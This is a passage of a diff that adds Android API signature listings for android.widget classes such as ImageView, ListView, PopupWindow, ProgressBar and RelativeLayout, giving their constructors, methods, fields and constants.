+    ctor public ImageView(android.content.Context, @Nullable android.util.AttributeSet, int, int);
+    method public void animateTransform(@Nullable android.graphics.Matrix);
+    method public final void clearColorFilter();
+    method public boolean getAdjustViewBounds();
+    method public boolean getBaselineAlignBottom();
+    method public android.graphics.ColorFilter getColorFilter();
+    method public boolean getCropToPadding();
+    method public android.graphics.drawable.Drawable getDrawable();
+    method public int getImageAlpha();
+    method public android.graphics.Matrix getImageMatrix();
+    method @Nullable public android.graphics.BlendMode getImageTintBlendMode();
+    method @Nullable public android.content.res.ColorStateList getImageTintList();
+    method @Nullable public android.graphics.PorterDuff.Mode getImageTintMode();
+    method public int getMaxHeight();
+    method public int getMaxWidth();
+    method public android.widget.ImageView.ScaleType getScaleType();
+    method public int[] onCreateDrawableState(int);
+    method public void setAdjustViewBounds(boolean);
+    method @Deprecated public void setAlpha(int);
+    method public void setBaseline(int);
+    method public void setBaselineAlignBottom(boolean);
+    method public final void setColorFilter(int, android.graphics.PorterDuff.Mode);
+    method public final void setColorFilter(int);
+    method public void setColorFilter(android.graphics.ColorFilter);
+    method public void setCropToPadding(boolean);
+    method protected boolean setFrame(int, int, int, int);
+    method public void setImageAlpha(int);
+    method public void setImageBitmap(android.graphics.Bitmap);
+    method public void setImageDrawable(@Nullable android.graphics.drawable.Drawable);
+    method public void setImageIcon(@Nullable android.graphics.drawable.Icon);
+    method public void setImageLevel(int);
+    method public void setImageMatrix(android.graphics.Matrix);
+    method public void setImageResource(@DrawableRes int);
+    method public void setImageState(int[], boolean);
+    method public void setImageTintBlendMode(@Nullable android.graphics.BlendMode);
+    method public void setImageTintList(@Nullable android.content.res.ColorStateList);
+    method public void setImageTintMode(@Nullable android.graphics.PorterDuff.Mode);
+    method public void setImageURI(@Nullable android.net.Uri);
+    method public void setMaxHeight(int);
+    method public void setMaxWidth(int);
+    method public void setScaleType(android.widget.ImageView.ScaleType);
+  }
+
+  public enum ImageView.ScaleType {
+    enum_constant public static final android.widget.ImageView.ScaleType CENTER;
+    enum_constant public static final android.widget.ImageView.ScaleType CENTER_CROP;
+    enum_constant public static final android.widget.ImageView.ScaleType CENTER_INSIDE;
+    enum_constant public static final android.widget.ImageView.ScaleType FIT_CENTER;
+    enum_constant public static final android.widget.ImageView.ScaleType FIT_END;
+    enum_constant public static final android.widget.ImageView.ScaleType FIT_START;
+    enum_constant public static final android.widget.ImageView.ScaleType FIT_XY;
+    enum_constant public static final android.widget.ImageView.ScaleType MATRIX;
+  }
+
+  @android.widget.RemoteViews.RemoteView public class LinearLayout extends android.view.ViewGroup {
+    ctor public LinearLayout(android.content.Context);
+    ctor public LinearLayout(android.content.Context, @Nullable android.util.AttributeSet);
+    ctor public LinearLayout(android.content.Context, @Nullable android.util.AttributeSet, int);
+    ctor public LinearLayout(android.content.Context, android.util.AttributeSet, int, int);
+    method protected android.widget.LinearLayout.LayoutParams generateDefaultLayoutParams();
+    method public android.widget.LinearLayout.LayoutParams generateLayoutParams(android.util.AttributeSet);
+    method protected android.widget.LinearLayout.LayoutParams generateLayoutParams(android.view.ViewGroup.LayoutParams);
+    method public int getBaselineAlignedChildIndex();
+    method public android.graphics.drawable.Drawable getDividerDrawable();
+    method public int getDividerPadding();
+    method public int getGravity();
+    method public int getOrientation();
+    method public int getShowDividers();
+    method public float getWeightSum();
+    method public boolean isBaselineAligned();
+    method public boolean isMeasureWithLargestChildEnabled();
+    method public void setBaselineAligned(boolean);
+    method public void setBaselineAlignedChildIndex(int);
+    method public void setDividerDrawable(android.graphics.drawable.Drawable);
+    method public void setDividerPadding(int);
+    method public void setGravity(int);
+    method public void setHorizontalGravity(int);
+    method public void setMeasureWithLargestChildEnabled(boolean);
+    method public void setOrientation(int);
+    method public void setShowDividers(int);
+    method public void setVerticalGravity(int);
+    method public void setWeightSum(float);
+    field public static final int HORIZONTAL = 0; // 0x0
+    field public static final int SHOW_DIVIDER_BEGINNING = 1; // 0x1
+    field public static final int SHOW_DIVIDER_END = 4; // 0x4
+    field public static final int SHOW_DIVIDER_MIDDLE = 2; // 0x2
+    field public static final int SHOW_DIVIDER_NONE = 0; // 0x0
+    field public static final int VERTICAL = 1; // 0x1
+  }
+
+  public static class LinearLayout.LayoutParams extends android.view.ViewGroup.MarginLayoutParams {
+    ctor public LinearLayout.LayoutParams(android.content.Context, android.util.AttributeSet);
+    ctor public LinearLayout.LayoutParams(int, int);
+    ctor public LinearLayout.LayoutParams(int, int, float);
+    ctor public LinearLayout.LayoutParams(android.view.ViewGroup.LayoutParams);
+    ctor public LinearLayout.LayoutParams(android.view.ViewGroup.MarginLayoutParams);
+    ctor public LinearLayout.LayoutParams(android.widget.LinearLayout.LayoutParams);
+    method public String debug(String);
+    field public int gravity;
+    field public float weight;
+  }
+
+  public interface ListAdapter extends android.widget.Adapter {
+    method public boolean areAllItemsEnabled();
+    method public boolean isEnabled(int);
+  }
+
+  public class ListPopupWindow {
+    ctor public ListPopupWindow(@NonNull android.content.Context);
+    ctor public ListPopupWindow(@NonNull android.content.Context, @Nullable android.util.AttributeSet);
+    ctor public ListPopupWindow(@NonNull android.content.Context, @Nullable android.util.AttributeSet, @AttrRes int);
+    ctor public ListPopupWindow(@NonNull android.content.Context, @Nullable android.util.AttributeSet, @AttrRes int, @StyleRes int);
+    method public void clearListSelection();
+    method public android.view.View.OnTouchListener createDragToOpenListener(android.view.View);
+    method public void dismiss();
+    method @Nullable public android.view.View getAnchorView();
+    method @StyleRes public int getAnimationStyle();
+    method @Nullable public android.graphics.drawable.Drawable getBackground();
+    method @Nullable public android.graphics.Rect getEpicenterBounds();
+    method public int getHeight();
+    method public int getHorizontalOffset();
+    method public int getInputMethodMode();
+    method @Nullable public android.widget.ListView getListView();
+    method public int getPromptPosition();
+    method @Nullable public Object getSelectedItem();
+    method public long getSelectedItemId();
+    method public int getSelectedItemPosition();
+    method @Nullable public android.view.View getSelectedView();
+    method public int getSoftInputMode();
+    method public int getVerticalOffset();
+    method public int getWidth();
+    method public boolean isInputMethodNotNeeded();
+    method public boolean isModal();
+    method public boolean isShowing();
+    method public boolean onKeyDown(int, @NonNull android.view.KeyEvent);
+    method public boolean onKeyPreIme(int, @NonNull android.view.KeyEvent);
+    method public boolean onKeyUp(int, @NonNull android.view.KeyEvent);
+    method public boolean performItemClick(int);
+    method public void postShow();
+    method public void setAdapter(@Nullable android.widget.ListAdapter);
+    method public void setAnchorView(@Nullable android.view.View);
+    method public void setAnimationStyle(@StyleRes int);
+    method public void setBackgroundDrawable(@Nullable android.graphics.drawable.Drawable);
+    method public void setContentWidth(int);
+    method public void setDropDownGravity(int);
+    method public void setEpicenterBounds(@Nullable android.graphics.Rect);
+    method public void setHeight(int);
+    method public void setHorizontalOffset(int);
+    method public void setInputMethodMode(int);
+    method public void setListSelector(android.graphics.drawable.Drawable);
+    method public void setModal(boolean);
+    method public void setOnDismissListener(@Nullable android.widget.PopupWindow.OnDismissListener);
+    method public void setOnItemClickListener(@Nullable android.widget.AdapterView.OnItemClickListener);
+    method public void setOnItemSelectedListener(@Nullable android.widget.AdapterView.OnItemSelectedListener);
+    method public void setPromptPosition(int);
+    method public void setPromptView(@Nullable android.view.View);
+    method public void setSelection(int);
+    method public void setSoftInputMode(int);
+    method public void setVerticalOffset(int);
+    method public void setWidth(int);
+    method public void setWindowLayoutType(int);
+    method public void show();
+    field public static final int INPUT_METHOD_FROM_FOCUSABLE = 0; // 0x0
+    field public static final int INPUT_METHOD_NEEDED = 1; // 0x1
+    field public static final int INPUT_METHOD_NOT_NEEDED = 2; // 0x2
+    field public static final int MATCH_PARENT = -1; // 0xffffffff
+    field public static final int POSITION_PROMPT_ABOVE = 0; // 0x0
+    field public static final int POSITION_PROMPT_BELOW = 1; // 0x1
+    field public static final int WRAP_CONTENT = -2; // 0xfffffffe
+  }
+
+  @android.widget.RemoteViews.RemoteView public class ListView extends android.widget.AbsListView {
+    ctor public ListView(android.content.Context);
+    ctor public ListView(android.content.Context, android.util.AttributeSet);
+    ctor public ListView(android.content.Context, android.util.AttributeSet, int);
+    ctor public ListView(android.content.Context, android.util.AttributeSet, int, int);
+    method public void addFooterView(android.view.View, Object, boolean);
+    method public void addFooterView(android.view.View);
+    method public void addHeaderView(android.view.View, Object, boolean);
+    method public void addHeaderView(android.view.View);
+    method public boolean areFooterDividersEnabled();
+    method public boolean areHeaderDividersEnabled();
+    method public android.widget.ListAdapter getAdapter();
+    method @Deprecated public long[] getCheckItemIds();
+    method @Nullable public android.graphics.drawable.Drawable getDivider();
+    method public int getDividerHeight();
+    method public int getFooterViewsCount();
+    method public int getHeaderViewsCount();
+    method public boolean getItemsCanFocus();
+    method public int getMaxScrollAmount();
+    method public android.graphics.drawable.Drawable getOverscrollFooter();
+    method public android.graphics.drawable.Drawable getOverscrollHeader();
+    method public boolean removeFooterView(android.view.View);
+    method public boolean removeHeaderView(android.view.View);
+    method public void setDivider(@Nullable android.graphics.drawable.Drawable);
+    method public void setDividerHeight(int);
+    method public void setFooterDividersEnabled(boolean);
+    method public void setHeaderDividersEnabled(boolean);
+    method public void setItemsCanFocus(boolean);
+    method public void setOverscrollFooter(android.graphics.drawable.Drawable);
+    method public void setOverscrollHeader(android.graphics.drawable.Drawable);
+    method public void setSelection(int);
+    method public void setSelectionAfterHeaderView();
+    method public void smoothScrollByOffset(int);
+  }
+
+  public class ListView.FixedViewInfo {
+    ctor public ListView.FixedViewInfo();
+    field public Object data;
+    field public boolean isSelectable;
+    field public android.view.View view;
+  }
+
+  @UiThread public final class Magnifier {
+    ctor @Deprecated public Magnifier(@NonNull android.view.View);
+    method public void dismiss();
+    method @Px public float getCornerRadius();
+    method @Px public int getDefaultHorizontalSourceToMagnifierOffset();
+    method @Px public int getDefaultVerticalSourceToMagnifierOffset();
+    method @Px public float getElevation();
+    method @Px public int getHeight();
+    method @Nullable public android.graphics.drawable.Drawable getOverlay();
+    method @Nullable public android.graphics.Point getPosition();
+    method @Px public int getSourceHeight();
+    method @Nullable public android.graphics.Point getSourcePosition();
+    method @Px public int getSourceWidth();
+    method @Px public int getWidth();
+    method public float getZoom();
+    method public boolean isClippingEnabled();
+    method public void setZoom(@FloatRange(from=0.0f) float);
+    method public void show(@FloatRange(from=0) float, @FloatRange(from=0) float);
+    method public void show(@FloatRange(from=0) float, @FloatRange(from=0) float, float, float);
+    method public void update();
+    field public static final int SOURCE_BOUND_MAX_IN_SURFACE = 0; // 0x0
+    field public static final int SOURCE_BOUND_MAX_VISIBLE = 1; // 0x1
+  }
+
+  public static final class Magnifier.Builder {
+    ctor public Magnifier.Builder(@NonNull android.view.View);
+    method @NonNull public android.widget.Magnifier build();
+    method @NonNull public android.widget.Magnifier.Builder setClippingEnabled(boolean);
+    method @NonNull public android.widget.Magnifier.Builder setCornerRadius(@FloatRange(from=0) @Px float);
+    method @NonNull public android.widget.Magnifier.Builder setDefaultSourceToMagnifierOffset(@Px int, @Px int);
+    method @NonNull public android.widget.Magnifier.Builder setElevation(@FloatRange(from=0) @Px float);
+    method @NonNull public android.widget.Magnifier.Builder setInitialZoom(@FloatRange(from=0.0f) float);
+    method @NonNull public android.widget.Magnifier.Builder setOverlay(@Nullable android.graphics.drawable.Drawable);
+    method @NonNull public android.widget.Magnifier.Builder setSize(@IntRange(from=0) @Px int, @IntRange(from=0) @Px int);
+    method @NonNull public android.widget.Magnifier.Builder setSourceBounds(int, int, int, int);
+  }
+
+  public class MediaController extends android.widget.FrameLayout {
+    ctor public MediaController(android.content.Context, android.util.AttributeSet);
+    ctor public MediaController(android.content.Context, boolean);
+    ctor public MediaController(android.content.Context);
+    method public void hide();
+    method public boolean isShowing();
+    method public void onFinishInflate();
+    method public void setAnchorView(android.view.View);
+    method public void setMediaPlayer(android.widget.MediaController.MediaPlayerControl);
+    method public void setPrevNextListeners(android.view.View.OnClickListener, android.view.View.OnClickListener);
+    method public void show();
+    method public void show(int);
+  }
+
+  public static interface MediaController.MediaPlayerControl {
+    method public boolean canPause();
+    method public boolean canSeekBackward();
+    method public boolean canSeekForward();
+    method public int getAudioSessionId();
+    method public int getBufferPercentage();
+    method public int getCurrentPosition();
+    method public int getDuration();
+    method public boolean isPlaying();
+    method public void pause();
+    method public void seekTo(int);
+    method public void start();
+  }
+
+  public class MultiAutoCompleteTextView extends android.widget.AutoCompleteTextView {
+    ctor public MultiAutoCompleteTextView(android.content.Context);
+    ctor public MultiAutoCompleteTextView(android.content.Context, android.util.AttributeSet);
+    ctor public MultiAutoCompleteTextView(android.content.Context, android.util.AttributeSet, int);
+    ctor public MultiAutoCompleteTextView(android.content.Context, android.util.AttributeSet, int, int);
+    method protected void performFiltering(CharSequence, int, int, int);
+    method public void setTokenizer(android.widget.MultiAutoCompleteTextView.Tokenizer);
+  }
+
+  public static class MultiAutoCompleteTextView.CommaTokenizer implements android.widget.MultiAutoCompleteTextView.Tokenizer {
+    ctor public MultiAutoCompleteTextView.CommaTokenizer();
+    method public int findTokenEnd(CharSequence, int);
+    method public int findTokenStart(CharSequence, int);
+    method public CharSequence terminateToken(CharSequence);
+  }
+
+  public static interface MultiAutoCompleteTextView.Tokenizer {
+    method public int findTokenEnd(CharSequence, int);
+    method public int findTokenStart(CharSequence, int);
+    method public CharSequence terminateToken(CharSequence);
+  }
+
+  public class NumberPicker extends android.widget.LinearLayout {
+    ctor public NumberPicker(android.content.Context);
+    ctor public NumberPicker(android.content.Context, android.util.AttributeSet);
+    ctor public NumberPicker(android.content.Context, android.util.AttributeSet, int);
+    ctor public NumberPicker(android.content.Context, android.util.AttributeSet, int, int);
+    method public String[] getDisplayedValues();
+    method public int getMaxValue();
+    method public int getMinValue();
+    method @Px public int getSelectionDividerHeight();
+    method @ColorInt public int getTextColor();
+    method @FloatRange(from=0.0, fromInclusive=false) public float getTextSize();
+    method public int getValue();
+    method public boolean getWrapSelectorWheel();
+    method public void setDisplayedValues(String[]);
+    method public void setFormatter(android.widget.NumberPicker.Formatter);
+    method public void setMaxValue(int);
+    method public void setMinValue(int);
+    method public void setOnLongPressUpdateInterval(long);
+    method public void setOnScrollListener(android.widget.NumberPicker.OnScrollListener);
+    method public void setOnValueChangedListener(android.widget.NumberPicker.OnValueChangeListener);
+    method public void setSelectionDividerHeight(@IntRange(from=0) @Px int);
+    method public void setTextColor(@ColorInt int);
+    method public void setTextSize(@FloatRange(from=0.0, fromInclusive=false) float);
+    method public void setValue(int);
+    method public void setWrapSelectorWheel(boolean);
+  }
+
+  public static interface NumberPicker.Formatter {
+    method public String format(int);
+  }
+
+  public static interface NumberPicker.OnScrollListener {
+    method public void onScrollStateChange(android.widget.NumberPicker, int);
+    field public static final int SCROLL_STATE_FLING = 2; // 0x2
+    field public static final int SCROLL_STATE_IDLE = 0; // 0x0
+    field public static final int SCROLL_STATE_TOUCH_SCROLL = 1; // 0x1
+  }
+
+  public static interface NumberPicker.OnValueChangeListener {
+    method public void onValueChange(android.widget.NumberPicker, int, int);
+  }
+
+  public class OverScroller {
+    ctor public OverScroller(android.content.Context);
+    ctor public OverScroller(android.content.Context, android.view.animation.Interpolator);
+    ctor @Deprecated public OverScroller(android.content.Context, android.view.animation.Interpolator, float, float);
+    ctor @Deprecated public OverScroller(android.content.Context, android.view.animation.Interpolator, float, float, boolean);
+    method public void abortAnimation();
+    method public boolean computeScrollOffset();
+    method public void fling(int, int, int, int, int, int, int, int);
+    method public void fling(int, int, int, int, int, int, int, int, int, int);
+    method public final void forceFinished(boolean);
+    method public float getCurrVelocity();
+    method public final int getCurrX();
+    method public final int getCurrY();
+    method public final int getFinalX();
+    method public final int getFinalY();
+    method public final int getStartX();
+    method public final int getStartY();
+    method public final boolean isFinished();
+    method public boolean isOverScrolled();
+    method public void notifyHorizontalEdgeReached(int, int, int);
+    method public void notifyVerticalEdgeReached(int, int, int);
+    method public final void setFriction(float);
+    method public boolean springBack(int, int, int, int, int, int);
+    method public void startScroll(int, int, int, int);
+    method public void startScroll(int, int, int, int, int);
+  }
+
+  public class PopupMenu {
+    ctor public PopupMenu(android.content.Context, android.view.View);
+    ctor public PopupMenu(android.content.Context, android.view.View, int);
+    ctor public PopupMenu(android.content.Context, android.view.View, int, int, int);
+    method public void dismiss();
+    method public android.view.View.OnTouchListener getDragToOpenListener();
+    method public int getGravity();
+    method public android.view.Menu getMenu();
+    method public android.view.MenuInflater getMenuInflater();
+    method public void inflate(@MenuRes int);
+    method public void setForceShowIcon(boolean);
+    method public void setGravity(int);
+    method public void setOnDismissListener(android.widget.PopupMenu.OnDismissListener);
+    method public void setOnMenuItemClickListener(android.widget.PopupMenu.OnMenuItemClickListener);
+    method public void show();
+  }
+
+  public static interface PopupMenu.OnDismissListener {
+    method public void onDismiss(android.widget.PopupMenu);
+  }
+
+  public static interface PopupMenu.OnMenuItemClickListener {
+    method public boolean onMenuItemClick(android.view.MenuItem);
+  }
+
+  public class PopupWindow {
+    ctor public PopupWindow(android.content.Context);
+    ctor public PopupWindow(android.content.Context, android.util.AttributeSet);
+    ctor public PopupWindow(android.content.Context, android.util.AttributeSet, int);
+    ctor public PopupWindow(android.content.Context, android.util.AttributeSet, int, int);
+    ctor public PopupWindow();
+    ctor public PopupWindow(android.view.View);
+    ctor public PopupWindow(int, int);
+    ctor public PopupWindow(android.view.View, int, int);
+    ctor public PopupWindow(android.view.View, int, int, boolean);
+    method public void dismiss();
+    method public int getAnimationStyle();
+    method public android.graphics.drawable.Drawable getBackground();
+    method public android.view.View getContentView();
+    method public float getElevation();
+    method @Nullable public android.transition.Transition getEnterTransition();
+    method @Nullable public android.graphics.Rect getEpicenterBounds();
+    method @Nullable public android.transition.Transition getExitTransition();
+    method public int getHeight();
+    method public int getInputMethodMode();
+    method public int getMaxAvailableHeight(@NonNull android.view.View);
+    method public int getMaxAvailableHeight(@NonNull android.view.View, int);
+    method public int getMaxAvailableHeight(@NonNull android.view.View, int, boolean);
+    method public boolean getOverlapAnchor();
+    method public int getSoftInputMode();
+    method public int getWidth();
+    method public int getWindowLayoutType();
+    method public boolean isAboveAnchor();
+    method public boolean isAttachedInDecor();
+    method public boolean isClippedToScreen();
+    method public boolean isClippingEnabled();
+    method public boolean isFocusable();
+    method public boolean isLaidOutInScreen();
+    method public boolean isOutsideTouchable();
+    method public boolean isShowing();
+    method public boolean isSplitTouchEnabled();
+    method public boolean isTouchModal();
+    method public boolean isTouchable();
+    method public void setAnimationStyle(int);
+    method public void setAttachedInDecor(boolean);
+    method public void setBackgroundDrawable(android.graphics.drawable.Drawable);
+    method public void setClippingEnabled(boolean);
+    method public void setContentView(android.view.View);
+    method public void setElevation(float);
+    method public void setEnterTransition(@Nullable android.transition.Transition);
+    method public void setEpicenterBounds(@Nullable android.graphics.Rect);
+    method public void setExitTransition(@Nullable android.transition.Transition);
+    method public void setFocusable(boolean);
+    method public void setHeight(int);
+    method public void setIgnoreCheekPress();
+    method public void setInputMethodMode(int);
+    method public void setIsClippedToScreen(boolean);
+    method public void setIsLaidOutInScreen(boolean);
+    method public void setOnDismissListener(android.widget.PopupWindow.OnDismissListener);
+    method public void setOutsideTouchable(boolean);
+    method public void setOverlapAnchor(boolean);
+    method public void setSoftInputMode(int);
+    method public void setSplitTouchEnabled(boolean);
+    method public void setTouchInterceptor(android.view.View.OnTouchListener);
+    method public void setTouchModal(boolean);
+    method public void setTouchable(boolean);
+    method public void setWidth(int);
+    method @Deprecated public void setWindowLayoutMode(int, int);
+    method public void setWindowLayoutType(int);
+    method public void showAsDropDown(android.view.View);
+    method public void showAsDropDown(android.view.View, int, int);
+    method public void showAsDropDown(android.view.View, int, int, int);
+    method public void showAtLocation(android.view.View, int, int, int);
+    method public void update();
+    method public void update(int, int);
+    method public void update(int, int, int, int);
+    method public void update(int, int, int, int, boolean);
+    method public void update(android.view.View, int, int);
+    method public void update(android.view.View, int, int, int, int);
+    field public static final int INPUT_METHOD_FROM_FOCUSABLE = 0; // 0x0
+    field public static final int INPUT_METHOD_NEEDED = 1; // 0x1
+    field public static final int INPUT_METHOD_NOT_NEEDED = 2; // 0x2
+  }
+
+  public static interface PopupWindow.OnDismissListener {
+    method public void onDismiss();
+  }
+
+  @android.widget.RemoteViews.RemoteView public class ProgressBar extends android.view.View {
+    ctor public ProgressBar(android.content.Context);
+    ctor public ProgressBar(android.content.Context, android.util.AttributeSet);
+    ctor public ProgressBar(android.content.Context, android.util.AttributeSet, int);
+    ctor public ProgressBar(android.content.Context, android.util.AttributeSet, int, int);
+    method @Nullable public android.graphics.drawable.Drawable getCurrentDrawable();
+    method public android.graphics.drawable.Drawable getIndeterminateDrawable();
+    method @Nullable public android.graphics.BlendMode getIndeterminateTintBlendMode();
+    method @Nullable public android.content.res.ColorStateList getIndeterminateTintList();
+    method @Nullable public android.graphics.PorterDuff.Mode getIndeterminateTintMode();
+    method public android.view.animation.Interpolator getInterpolator();
+    method public int getMax();
+    method @Px public int getMaxHeight();
+    method @Px public int getMaxWidth();
+    method public int getMin();
+    method @Px public int getMinHeight();
+    method @Px public int getMinWidth();
+    method public int getProgress();
+    method @Nullable public android.graphics.BlendMode getProgressBackgroundTintBlendMode();
+    method @Nullable public android.content.res.ColorStateList getProgressBackgroundTintList();
+    method @Nullable public android.graphics.PorterDuff.Mode getProgressBackgroundTintMode();
+    method public android.graphics.drawable.Drawable getProgressDrawable();
+    method @Nullable public android.graphics.BlendMode getProgressTintBlendMode();
+    method @Nullable public android.content.res.ColorStateList getProgressTintList();
+    method @Nullable public android.graphics.PorterDuff.Mode getProgressTintMode();
+    method public int getSecondaryProgress();
+    method @Nullable public android.graphics.BlendMode getSecondaryProgressTintBlendMode();
+    method @Nullable public android.content.res.ColorStateList getSecondaryProgressTintList();
+    method @Nullable public android.graphics.PorterDuff.Mode getSecondaryProgressTintMode();
+    method public final void incrementProgressBy(int);
+    method public final void incrementSecondaryProgressBy(int);
+    method public boolean isAnimating();
+    method public boolean isIndeterminate();
+    method public void onRestoreInstanceState(android.os.Parcelable);
+    method public android.os.Parcelable onSaveInstanceState();
+    method public void setIndeterminate(boolean);
+    method public void setIndeterminateDrawable(android.graphics.drawable.Drawable);
+    method public void setIndeterminateDrawableTiled(android.graphics.drawable.Drawable);
+    method public void setIndeterminateTintBlendMode(@Nullable android.graphics.BlendMode);
+    method public void setIndeterminateTintList(@Nullable android.content.res.ColorStateList);
+    method public void setIndeterminateTintMode(@Nullable android.graphics.PorterDuff.Mode);
+    method public void setInterpolator(android.content.Context, @InterpolatorRes int);
+    method public void setInterpolator(android.view.animation.Interpolator);
+    method public void setMax(int);
+    method public void setMaxHeight(@Px int);
+    method public void setMaxWidth(@Px int);
+    method public void setMin(int);
+    method public void setMinHeight(@Px int);
+    method public void setMinWidth(@Px int);
+    method public void setProgress(int);
+    method public void setProgress(int, boolean);
+    method public void setProgressBackgroundTintBlendMode(@Nullable android.graphics.BlendMode);
+    method public void setProgressBackgroundTintList(@Nullable android.content.res.ColorStateList);
+    method public void setProgressBackgroundTintMode(@Nullable android.graphics.PorterDuff.Mode);
+    method public void setProgressDrawable(android.graphics.drawable.Drawable);
+    method public void setProgressDrawableTiled(android.graphics.drawable.Drawable);
+    method public void setProgressTintBlendMode(@Nullable android.graphics.BlendMode);
+    method public void setProgressTintList(@Nullable android.content.res.ColorStateList);
+    method public void setProgressTintMode(@Nullable android.graphics.PorterDuff.Mode);
+    method public void setSecondaryProgress(int);
+    method public void setSecondaryProgressTintBlendMode(@Nullable android.graphics.BlendMode);
+    method public void setSecondaryProgressTintList(@Nullable android.content.res.ColorStateList);
+    method public void setSecondaryProgressTintMode(@Nullable android.graphics.PorterDuff.Mode);
+  }
+
+  public class QuickContactBadge extends android.widget.ImageView implements android.view.View.OnClickListener {
+    ctor public QuickContactBadge(android.content.Context);
+    ctor public QuickContactBadge(android.content.Context, android.util.AttributeSet);
+    ctor public QuickContactBadge(android.content.Context, android.util.AttributeSet, int);
+    ctor public QuickContactBadge(android.content.Context, android.util.AttributeSet, int, int);
+    method public void assignContactFromEmail(String, boolean);
+    method public void assignContactFromEmail(String, boolean, android.os.Bundle);
+    method public void assignContactFromPhone(String, boolean);
+    method public void assignContactFromPhone(String, boolean, android.os.Bundle);
+    method public void assignContactUri(android.net.Uri);
+    method public void onClick(android.view.View);
+    method public void setExcludeMimes(String[]);
+    method public void setImageToDefault();
+    method public void setMode(int);
+    method public void setOverlay(android.graphics.drawable.Drawable);
+    method public void setPrioritizedMimeType(String);
+    field protected String[] mExcludeMimes;
+  }
+
+  @android.widget.RemoteViews.RemoteView public class RadioButton extends android.widget.CompoundButton {
+    ctor public RadioButton(android.content.Context);
+    ctor public RadioButton(android.content.Context, android.util.AttributeSet);
+    ctor public RadioButton(android.content.Context, android.util.AttributeSet, int);
+    ctor public RadioButton(android.content.Context, android.util.AttributeSet, int, int);
+  }
+
+  @android.widget.RemoteViews.RemoteView public class RadioGroup extends android.widget.LinearLayout {
+    ctor public RadioGroup(android.content.Context);
+    ctor public RadioGroup(android.content.Context, android.util.AttributeSet);
+    method public void check(@IdRes int);
+    method public void clearCheck();
+    method public android.widget.RadioGroup.LayoutParams generateLayoutParams(android.util.AttributeSet);
+    method @IdRes public int getCheckedRadioButtonId();
+    method public void setOnCheckedChangeListener(android.widget.RadioGroup.OnCheckedChangeListener);
+  }
+
+  public static class RadioGroup.LayoutParams extends android.widget.LinearLayout.LayoutParams {
+    ctor public RadioGroup.LayoutParams(android.content.Context, android.util.AttributeSet);
+    ctor public RadioGroup.LayoutParams(int, int);
+    ctor public RadioGroup.LayoutParams(int, int, float);
+    ctor public RadioGroup.LayoutParams(android.view.ViewGroup.LayoutParams);
+    ctor public RadioGroup.LayoutParams(android.view.ViewGroup.MarginLayoutParams);
+  }
+
+  public static interface RadioGroup.OnCheckedChangeListener {
+    method public void onCheckedChanged(android.widget.RadioGroup, @IdRes int);
+  }
+
+  public class RatingBar extends android.widget.AbsSeekBar {
+    ctor public RatingBar(android.content.Context, android.util.AttributeSet, int);
+    ctor public RatingBar(android.content.Context, android.util.AttributeSet, int, int);
+    ctor public RatingBar(android.content.Context, android.util.AttributeSet);
+    ctor public RatingBar(android.content.Context);
+    method public int getNumStars();
+    method public android.widget.RatingBar.OnRatingBarChangeListener getOnRatingBarChangeListener();
+    method public float getRating();
+    method public float getStepSize();
+    method public boolean isIndicator();
+    method public void setIsIndicator(boolean);
+    method public void setNumStars(int);
+    method public void setOnRatingBarChangeListener(android.widget.RatingBar.OnRatingBarChangeListener);
+    method public void setRating(float);
+    method public void setStepSize(float);
+  }
+
+  public static interface RatingBar.OnRatingBarChangeListener {
+    method public void onRatingChanged(android.widget.RatingBar, float, boolean);
+  }
+
+  @android.widget.RemoteViews.RemoteView public class RelativeLayout extends android.view.ViewGroup {
+    ctor public RelativeLayout(android.content.Context);
+    ctor public RelativeLayout(android.content.Context, android.util.AttributeSet);
+    ctor public RelativeLayout(android.content.Context, android.util.AttributeSet, int);
+    ctor public RelativeLayout(android.content.Context, android.util.AttributeSet, int, int);
+    method public android.widget.RelativeLayout.LayoutParams generateLayoutParams(android.util.AttributeSet);
+    method public int getGravity();
+    method public int getIgnoreGravity();
+    method public void setGravity(int);
+    method public void setHorizontalGravity(int);
+    method public void setIgnoreGravity(int);
+    method public void setVerticalGravity(int);
+    field public static final int ABOVE = 2; // 0x2
+    field public static final int ALIGN_BASELINE = 4; // 0x4
+    field public static final int ALIGN_BOTTOM = 8; // 0x8
+    field public static final int ALIGN_END = 19; // 0x13
+    field public static final int ALIGN_LEFT = 5; // 0x5
+    field public static final int ALIGN_PARENT_BOTTOM = 12; // 0xc
+    field public static final int ALIGN_PARENT_END = 21; // 0x15
+    field public static final int ALIGN_PARENT_LEFT = 9; // 0x9
+    field public static final int ALIGN_PARENT_RIGHT = 11; // 0xb
+    field public static final int ALIGN_PARENT_START = 20; // 0x14
+    field public static final int ALIGN_PARENT_TOP = 10; // 0xa
+    field public static final int ALIGN_RIGHT = 7; // 0x7
+    field public static final int ALIGN_START = 18; // 0x12
+    field public static final int ALIGN_TOP = 6; // 0x6
+    field public static final int BELOW = 3; // 0x3
+    field public static final int CENTER_HORIZONTAL = 14; // 0xe
+    field public static final int CENTER_IN_PARENT = 13; // 0xd
+    field public static final int CENTER_VERTICAL = 15; // 0xf
+    field public static final int END_OF = 17; // 0x11
+    field public static final int LEFT_OF = 0; // 0x0
+    field public static final int RIGHT_OF = 1; // 0x1
+    field public static final int START_OF = 16; // 0x10
+    field public static final int TRUE = -1; // 0xffffffff
+  }
+
+  public static class RelativeLayout.LayoutParams extends android.view.ViewGroup.MarginLayoutParams {
+    ctor public RelativeLayout.LayoutParams(android.content.Context, android.util.AttributeSet);
+    ctor public RelativeLayout.LayoutParams(int, int);
+    ctor public RelativeLayout.LayoutParams(android.view.ViewGroup.LayoutParams);
+    ctor public RelativeLayout.LayoutParams(android.view.ViewGroup.MarginLayoutParams);
+    ctor public RelativeLayout.LayoutParams(android.widget.RelativeLayout.LayoutParams);
+    method public void addRule(int);
+    method public void addRule(int, int);
+    method public String debug(String);
+    method public int getRule(int);
+    method public int[] getRules();
+    method public void removeRule(int);
+    field public boolean alignWithParent;
+  }
+
+  public class RemoteViews implements android.view.LayoutInflater.Filter android.os.Parcelable {
+    ctor public RemoteViews(String, int);
+    ctor public RemoteViews(@NonNull String, @LayoutRes int, @IdRes int);
+    ctor public RemoteViews(android.widget.RemoteViews, android.widget.RemoteViews);
+    ctor public RemoteViews(@NonNull java.util.Map<android.util.SizeF,android.widget.RemoteViews>);
+    ctor public RemoteViews(android.widget.RemoteViews);
+    ctor public RemoteViews(android.os.Parcel);
+    method public void addStableView(@IdRes int, @NonNull android.widget.RemoteViews, int);
+    method public void addView(@IdRes int, android.widget.RemoteViews);
